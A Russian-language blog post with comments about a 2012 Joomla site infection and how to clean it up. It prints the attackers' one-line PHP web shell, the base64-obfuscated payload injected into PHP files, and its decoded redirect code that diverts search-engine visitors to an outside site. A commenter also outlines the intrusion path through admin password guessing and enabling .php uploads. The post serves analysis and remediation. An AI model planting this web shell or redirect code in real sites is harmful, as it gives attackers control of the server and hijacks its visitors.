Взлом Joomla, внедрение бекдора и очистка от кода

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор - файл post.php, следующего содержания

<?php eval(base64_decode($_POST["php"])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

<?php           eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));

Это зашифрованная в base64 информация, которая содержит в себе ссылку на какой-то польский сайт

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://happynewyear.osa.pl/");
exit();
}
}
}
}

Чтобы аккуратно очистить зараженный сайт, следут авторизоваться по ssh и выполнить следующую простую команду

find . -type f -name '*.php' -exec perl -pi -e 's/eval\(base64_decode\(\"DQp.*p9\"\)\)\;//g' '{}' \;

После всего этого остается только напомнить, что следует постоянно следить за актуальностью версий программного обеспечения, которое используется на сайте.

Так же обратите внимание на выход Joomla! 2.5, которая станет LTS и достойной заменой Joomla! 1.5.

 

PS: Если возникнут проблемы с удалением вредоносного кода, то всегда готов помочь.

Аватар пользователя Дмитрий

Опубликовано чт, 01/26/2012 - 22:59 пользователем Дмитрий (не проверено)

Сам столкнулся с такой проблемой и никак не могу ее решить. Суть такова висит сайт в топе, как я понимаю на него идет атака, чтоб с яндекса по ссылке редиректится на указанный в коде сайт. Сайты, кстати всегда разные. Если заходить напрямую на сайт то редирект не происходит. Сайтов на хосте много, поэтому делаю просто общее восстановление сайтов на день предыдущий, помогает на 3-4 дня, после этого снова все php файлы с кодом. Дыру так и не могу найти, тех поддержка тоже внятного ничего сказать не может. Закрывал доступ по фтп, не спасло. Вобщем беда, спасает только бэкапы. Джумка везде обновлена до последнего релиза 1.5.25.

Аватар пользователя mef

Опубликовано пт, 01/27/2012 - 22:58 пользователем mef

Видел подобное. Посмотри в .htaccess, который лежит как в корне сайта, так и в директории выше уровнем.

Можешь прислать на е-мейл реквизиты доступа по shh - гляну сам.

Аватар пользователя Дмитрий

Опубликовано вт, 02/07/2012 - 00:11 пользователем Дмитрий (не проверено)

После очередного взлома, перелопатил все сайты на хостинге, в .htaccess ничего подозрительного не нашел. Но как вы и писали, в каталоге images нашел post.php, примечательно что в папке темы я нашел еще один интересный файл w2.php который собственно и содержит сам код. Файлик я могу выслать вам на почту, ясли интересно - гляните, я не особо разбираюсь в php программировании но, похоже там много интересного.

Аватар пользователя webgomel

Опубликовано чт, 02/09/2012 - 09:09 пользователем webgomel (не проверено)

Не знаю что там было а что нет, а может и сейчас ещё есть, но все пишут одну и ту же глупость: "позволила злоумышленникам положить в директорию images бекдор - файл post.php".

Да всё очень просто - пароль он к админке подбирает, заходит в настройки сайта, дописывает в разрешённые для загрузки файлы расширение .php и спокойно загружает свой post.php в картинки.
Реально жесть, все пишите, панацею даёте, а у самих до сих пор поди загрузка файлов .php разрешена после него. И кэширование он ещё включает напоследок)))

Аватар пользователя Роман

Опубликовано чт, 02/09/2012 - 15:50 пользователем Роман (не проверено)

Добрый деь
Похожая проблема. Сайт еще на локал хосте.
В коде есть 2 ссылки на внешние сайты (смартфоны), не могу их найти.
Искал через БД, Файл менеджер, вручную просматривал. Как понимаю, там кодировка другая стоит.
Помогите, где и чем искать??

Аватар пользователя mef

Опубликовано пт, 02/10/2012 - 07:39 пользователем mef

Подозреваю, что они зашифрованы в base64.

Аватар пользователя Роман

Опубликовано вс, 02/12/2012 - 17:56 пользователем Роман (не проверено)

как выявить такой шифр, чем искать?

Аватар пользователя mef

Опубликовано пн, 02/13/2012 - 07:46 пользователем mef

поиском по телу файлов.

можно с помощью find, grep, если в unix-like системах

Аватар пользователя Роман

Опубликовано пн, 02/13/2012 - 22:13 пользователем Роман (не проверено)

Искал с помощью Total Commander, находит около 100 файлов. все нужно перелопатить, ведь ссылки скорее всего в коде самой джумлы или расширениях (докачивал шаблон, языки, сайтмап, меню)
В любом случае СПАСИБО!
Будем разбираться)

Добавить комментарий

Plain text

  • HTML-теги не обрабатываются и показываются как обычный текст
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.